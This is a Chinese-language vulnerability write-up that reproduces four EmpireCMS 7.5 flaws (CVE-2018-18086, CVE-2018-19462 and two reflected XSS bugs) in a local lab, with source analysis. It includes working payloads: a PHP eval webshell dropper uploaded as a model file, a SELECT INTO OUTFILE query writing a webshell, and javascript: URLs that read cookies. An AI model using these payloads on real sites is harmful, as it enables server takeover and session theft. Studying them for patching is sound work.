帝國CMS(EmpireCMS)v7.5漏洞分析
0x01漏洞描述
本次CVE復現了四個EmpireCMSv7.5的漏洞,在此一並記錄下。
- CVE-2018-18086 后台getshell
- CVE-2018-19462 代碼注入
- 后台xss
- 前台xss
0x02漏洞環境
所需環境EmpireCMS <= 7.5
本次漏洞復現所用環境為EmpireCMSv7.5
EmpireCMS環境下載地址:http://www.phome.net/download/
0x03環境搭建
修改php.ini配置文件, PHP環境中必須開啟短標簽,不然安裝會提示無法安裝
short_open_tag = On
這邊復現使用的是wamp,重啟wampserver
wamp默認數據庫名稱為root,密碼空
安裝完畢后,刪除/e/install文件夾
登錄admin賬號,路徑http://localhost/EmpireCMS/e/admin/index.php
0x04漏洞復現
CVE-2018-18086 后台getshell
漏洞類型:一句話木馬getshell
漏洞原理:EmpireCMS 7.5版本及之前版本在后台備份數據庫時,未對數據庫表名做驗證,通過修改數據庫表名可以實現任意代碼執行。EmpireCMS7.5版本中的/e/class/moddofun.php文件的”LoadInMod”函數存在安全漏洞,攻擊者可利用該漏洞上傳任意文件。
1.源碼分析
1.1主要漏洞代碼位置
//導入模型
elseif($enews=="LoadInMod")
{
$file=$_FILES['file']['tmp_name'];
$file_name=$_FILES['file']['name'];
$file_type=$_FILES['file']['type'];
$file_size=$_FILES['file']['size'];
LoadInMod($_POST,$file,$file_name,$file_type,$file_size,$logininid,$loginin);
}
轉到LoadInMod定義
在localhost/EmpireCMS/e/class/moddofun.php
找到上傳文件的定義。
//上傳文件
$path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";
$cp=@move_uploaded_file($file,$path);
if(!$cp)
{
printerror("EmptyLoadInMod","");
}
DoChmodFile($path);
@include($path);
UpdateTbDefMod($tid,$tbname,$mid);
1.2文件包含
上傳文件處使用time().makepassword(10)
進行加密文件名
//取得隨機數
function make_password($pw_length){
$low_ascii_bound=48;
$upper_ascii_bound=122;
$notuse=array(58,59,60,61,62,63,64,91,92,93,94,95,96);
while($i<$pw_length)
{
if(PHP_VERSION<'4.2.0')
{
mt_srand((double)microtime()*1000000);
}
mt_srand();
$randnum=mt_rand($low_ascii_bound,$upper_ascii_bound);
if(!in_array($randnum,$notuse))
{
$password1=$password1.chr($randnum);
$i++;
}
}
return $password1;
}
下方代碼@include($path)
直接包含文件,因此可以通過添加創建文件的代碼繞過。
2.進入測試
2.1來到導入系統模型的頁面
2.2上傳一個1.php.mod文件,需要注意$符號需要轉義
<?php file_put_contents("getshell.php","<?php @eval(\$_POST[LEOGG]); ?>");?>
2.3導入模型成功,看到目錄里已經寫入shell文件
2.4蟻劍連接成功,getshell
CVE-2018-19462 代碼注入
漏洞類型:惡意sql語句執行
漏洞原理:EmpireCMS7.5及之前版本中的admindbDoSql.php文件存在代碼注入漏洞。該漏洞源於外部輸入數據構造代碼段的過程中,網路系統或產品未正確過濾其中的特殊元素。攻擊者可利用該漏洞生成非法的代碼段,修改網絡系統或組件的預期的執行控制流。
1.源碼分析
1.1主要漏洞代碼位置
執行sql語句處
分析源碼定位漏洞出現的位置在localhost/EmpireCMS/e/admin/db/DoSql.php
,對sqltext
進行RepSqlTbpre
函數處理
//運行SQL語句
function ExecSql($id,$userid,$username){
global $empire,$dbtbpre;
$id=(int)$id;
if(empty($id))
{
printerror('EmptyExecSqlid','');
}
$r=$empire->fetch1("select sqltext from {$dbtbpre}enewssql where id='$id'");
if(!$r['sqltext'])
{
printerror('EmptyExecSqlid','');
}
$query=RepSqlTbpre($r['sqltext']);
DoRunQuery($query);
//操作日志
insert_dolog("query=".$query);
printerror("DoExecSqlSuccess","ListSql.php".hReturnEcmsHashStrHref2(1));
}
1.2轉到定義RepSqlTbpre
,發現只對表的前綴做了替換
//替換表前綴
function RepSqlTbpre($sql){
global $dbtbpre;
$sql=str_replace('[!db.pre!]',$dbtbpre,$sql);
return $sql;
}
1.3轉到定義DoRunQuery
,對$query
進行處理。
對$sql
參數只做了去除空格、以;
分隔然后遍歷,沒有做別的限制和過濾,導致可以執行惡意的sql語句
//運行SQL
function DoRunQuery($sql){
global $empire;
$sql=str_replace("\r","\n",$sql);
$ret=array();
$num=0;
foreach(explode(";\n",trim($sql)) as $query)
{
$queries=explode("\n",trim($query));
foreach($queries as $query)
{
$ret[$num].=$query[0]=='#'||$query[0].$query[1]=='--'?'':$query;
}
$num++;
}
unset($sql);
foreach($ret as $query)
{
$query=trim($query);
if($query)
{
$empire->query($query);
}
}
}
2.payload
2.1用select ... into outfile
語句寫入php一句話木馬
select '<?php @eval($_POST[LEOGG])?>' into outfile 'E:/Wamp2.5/wamp/www/EmpireCMS/getshell.php'
語句執行成功,在目錄里看到生成的馬
2.2蟻劍連接
連接成功,getshell
后台xss
漏洞類型:反射型xss
漏洞文件:localhost/EmpireCMS/e/admin/openpage/AdminPage.php
漏洞原理:該漏洞是由於代碼只使用htmlspecialchars進行實體編碼過濾,而且參數用的是ENT_QUOTES(編碼雙引號和單引號),還有addslashes函數處理,但是沒有對任何惡意關鍵字進行過濾,從而導致攻擊者使用別的關鍵字進行攻擊
1.源碼分析
1.1主要漏洞代碼位置localhost/EmpireCMS/e/admin/openpage/AdminPage.php
$leftfile=hRepPostStr($_GET['leftfile'],1);
$mainfile=hRepPostStr($_GET['mainfile'],1);
1.2利用hRepPostStr
函數進行過濾,跳轉到該函數的定義如下
function hRepPostStr($val,$ecms=0,$phck=0){
if($phck==1)
{
CkPostStrCharYh($val);
}
if($ecms==1)
{
$val=ehtmlspecialchars($val,ENT_QUOTES);
}
CkPostStrChar($val);
$val=AddAddsData($val);
return $val;
}
1.3用ehtmlspecialchars
函數進行HTML實體編碼過濾,其中ENT_QUOTES
- 編碼雙引號和單引號。
function ehtmlspecialchars($val,$flags=ENT_COMPAT){
global $ecms_config;
if(PHP_VERSION>='5.4.0')
{
if($ecms_config['sets']['pagechar']=='utf-8')
{
$char='UTF-8';
}
else
{
$char='ISO-8859-1';
}
$val=htmlspecialchars($val,$flags,$char);
}
else
{
$val=htmlspecialchars($val,$flags);
}
return $val;
}
主要利用htmlspecialchars
函數把字符轉換為HTML實體
1.4用CkPostStrChar
函數對參數進行處理
function CkPostStrChar($val){
if(substr($val,-1)=="\\")
{
exit();
}
}
獲取字符末端第一個開始的字符串為\\,則退出函數。
1.5用AddAddsData
函數對參數進行處理
function AddAddsData($data){
if(!MAGIC_QUOTES_GPC)
{
$data=addslashes($data);
}
return $data;
}
如果沒有開啟MAGIC_QUOTES_GPC
,則利用addslashes
函數進行轉義
addslashes()
函數返回在預定義字符之前添加反斜杠的字符串。
1.6網頁輸出
然而輸出的位置是在iframe標簽的src里,這意味着之前的過濾都沒有什么卵用。iframe標簽可以執行js代碼,因此可以利用javascript:alert(/xss/)
觸發xss
2.payload
payload如下:
http://localhost/EmpireCMS/e/admin/openpage/AdminPage.php?ehash_Cczns=2TWoQiIHxxoEzHD0rZ24&mainfile=javascript:alert(/xss/)
其中ehash是隨機生成的,在登錄時可以看到ehash_Cczns=2TWoQiIHxxoEzHD0rZ24
,如果缺少這個hash值,則會提示非法來源
觸發xss
獲取cookie信息payload
http://localhost/EmpireCMS/e/admin/openpage/AdminPage.php?ehash_Cczns=2TWoQiIHxxoEzHD0rZ24&mainfile=javascript:alert(document.cookie)
前台xss
漏洞類型:反射型xss
漏洞文件:localhost/EmpireCMS/e/ViewImg/index.html
漏洞原理:url地址經過Request函數處理之后,把url地址中的參數和值部分直接拼接當作a標簽的href屬性的值和img標簽的src標簽的值
1.主要漏洞代碼位置localhost/upload/e/ViewImg/index.html
if(Request("url")!=0){
document.write("<a title=\"點擊觀看完整的圖片...\" href=\""+Request("url")+"\" target=\"_blank\"><img src=\""+Request("url")+"\" border=0 class=\"picborder\" onmousewheel=\"return bbimg(this)\" onload=\"if(this.width>screen.width-500)this.style.width=screen.width-500;\">");
}
通過Request
函數獲取地址欄的url參數,並作為img
和a
標簽的src
屬性和href
屬性,然后經過document.write
輸出到頁面。
2.轉到request
函數定義
function Request(sName)
{
/*
get last loc. of ?
right: find first loc. of sName
+2
retrieve value before next &
*/
var sURL = new String(window.location);
var iQMark= sURL.lastIndexOf('?');
var iLensName=sName.length;
//retrieve loc. of sName
var iStart = sURL.indexOf('?' + sName +'=') //limitation 1
if (iStart==-1)
{//not found at start
iStart = sURL.indexOf('&' + sName +'=')//limitation 1
if (iStart==-1)
{//not found at end
return 0; //not found
}
}
iStart = iStart + + iLensName + 2;
var iTemp= sURL.indexOf('&',iStart); //next pair start
if (iTemp ==-1)
{//EOF
iTemp=sURL.length;
}
return sURL.slice(iStart,iTemp ) ;
sURL=null;//destroy String
}
通過window.location
獲取當前url
地址,根據傳入的url
參數,獲取當前參數的起始位置和結束位置
3.payload
url
地址經過Request
函數處理之后,然后把url
地址中的參數和值部分直接拼接當作a
標簽的href
屬性的值和img
標簽的src標簽的值
payload如下:
http://localhost/upload/e/ViewImg/index.html?url=javascript:alert(document.cookie)
payload解析:
當瀏覽器載入一個Javascript URL時,它會執行URL中所包含的Javascript代碼,並且使用最后一個Javascript語句或表達式的值,轉換為一個字符串,作為新載入的文檔的內容顯示。
javascript:偽協議可以和HTML屬性一起使用,該屬性的值也應該是一個URL。一個超鏈接的href屬性就滿足這種條件。當用戶點擊一個這樣的鏈接,指定的Javascript代碼就會執行。在這種情況下,Javascript URL本質上是一個onclick事件句柄的替代。
點擊圖片觸發xss
得到cookie信息
0x05參考文章
TOPIC | URL |
---|---|
CVE-2018-18086 后台getshell | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-18086 |
CVE-2018-19462 代碼注入 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19462 |
后台xss | https://www.freebuf.com/vuls/176313.html |
前台xss | https://www.freebuf.com/vuls/177969.html |